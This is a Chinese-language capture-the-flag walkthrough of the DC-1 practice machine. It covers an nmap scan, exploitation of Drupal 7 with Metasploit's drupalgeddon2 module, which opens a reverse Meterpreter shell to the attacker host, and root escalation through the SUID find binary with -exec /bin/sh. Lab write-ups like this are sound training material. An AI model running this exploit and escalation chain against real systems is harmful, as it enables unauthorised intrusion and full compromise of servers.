DC-1靶机
2024-09-05 05:17:55
DC-1
靶机获取：http://www.five86.com/
发现IP：arp-scan --interface=eth0 -localnet arp-scan -l靶机IP：192.168.0.119 kali IP: 192.168.0.38
nmap
⚡ root@roots ~ nmap -A 192.168.0.119
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-04 10:19 CST
Nmap scan report for DC-1 (192.168.0.119)
Host is up (0.00040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 38029/tcp status
|_ 100024 1 43028/udp status
MAC Address: 08:00:27:E2:EE:59 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms DC-1 (192.168.0.119)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.60 seconds
#tips:nmap -A 查看端口都开了什么服务
可以发现Drupal 版本是7.xxx 具体的还不知道。上网搜一下有没有exp，直接上结果
SQL注入的，可以自己添加一个管理员的账号，登录发现具体版本7.24
对了还发现一个flag3
flag3
#Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
msf
每个人的思路不一样，现在尝试下使用msf
msf5 > search drupal
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Yes Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Yes Drupal Views Module Users Enumeration
exploit/multi/http/drupal_drupageddon 2014-10-15 excellent No Drupal HTTP Parameter Key/Value SQL Injection
exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Yes Drupal CODER Module Remote Command Execution
exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Yes Drupal RESTWS Module Remote PHP Code Execution
exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent Yes PHP XML-RPC Arbitrary Code Execution
使用 exploit/unix/webapp/drupal_drupalgeddon2
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no If output should be dumped
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.0.119
rhost => 192.168.0.119
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.0.38:4444
[*] Drupal 7 targeted at http://192.168.0.119/
[-] Could not determine Drupal patch level
[*] Sending stage (38247 bytes) to 192.168.0.119
[*] Meterpreter session 1 opened (192.168.0.38:4444 -> 192.168.0.119:45045) at 2019-08-04 11:39:24 +0800
meterpreter > shell
Process 3200 created.
Channel 0 created.
ls
COPYRIGHT.txt
INSTALL.mysql.txt
INSTALL.pgsql.txt
INSTALL.sqlite.txt
INSTALL.txt
LICENSE.txt ..........现在得到shell
命令简化版：
msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.0.119
run
#得到[*] Meterpreter session 1 opened 代表成功；输入shell就可以执行命令
shell
#得到一个标准shell
python -c "import pty;pty.spawn('/bin/bash')"
提权：
可以上提权脚本，但是我一般习惯自己先手工探测
history crontab -l sudo -l uname -r#无发现
#在home目录下发现flag4
www-data@DC-1:/home/flag4$ cat flag4.txt
cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
#flag 给了提示想到之前做的靶机，命令劫持，看一下具有suid权限的
www-data@DC-1:/home/flag4$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
#人家上边说的很明显的，通过类似的方法（flag4）得到flag，那就是find了，而且find也不应该出现在这里
find(exec)提权：
#先上命令看效果 具体需要执行什么命令把对应的id换了就行
www-data@DC-1:/tmp$ find lu -exec `id` \;
find lu -exec `id` \;
find: `uid=33(www-data)': No such file or directory
#-exec参数后面跟的是command命令，它是以 ; 为结束标志，由于各个系统中分号会有不同的意义，因此在前面加上反斜杠
使用 ‘/bin/bash’
www-data@DC-1:/var/www$ find flag1.txt -exec '/bin/bash' \;
find flag1.txt -exec '/bin/bash' \;
bash-4.2$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash-4.2$ whoami
whoami
www-data
#我也没明白为什么 /bin/bash得到的是www-data 而不是root
使用‘/bin/sh’
bash-4.2$ find flag1.txt -exec '/bin/sh' \;
find flag1.txt -exec '/bin/sh' \;
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
Get_flag
# cd /root
cd /root
# ls
ls
thefinalflag.txt
# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
学习链接：
find之exec：https://www.cnblogs.com/peida/archive/2012/11/14/2769248.html
提权脚本：https://www.freebuf.com/sectool/121847.html
探测CMS脚本：https://github.com/dionach/CMSmap
tips:靶机可能还有其他途径，每个人的思路流程都不太一样多多指教
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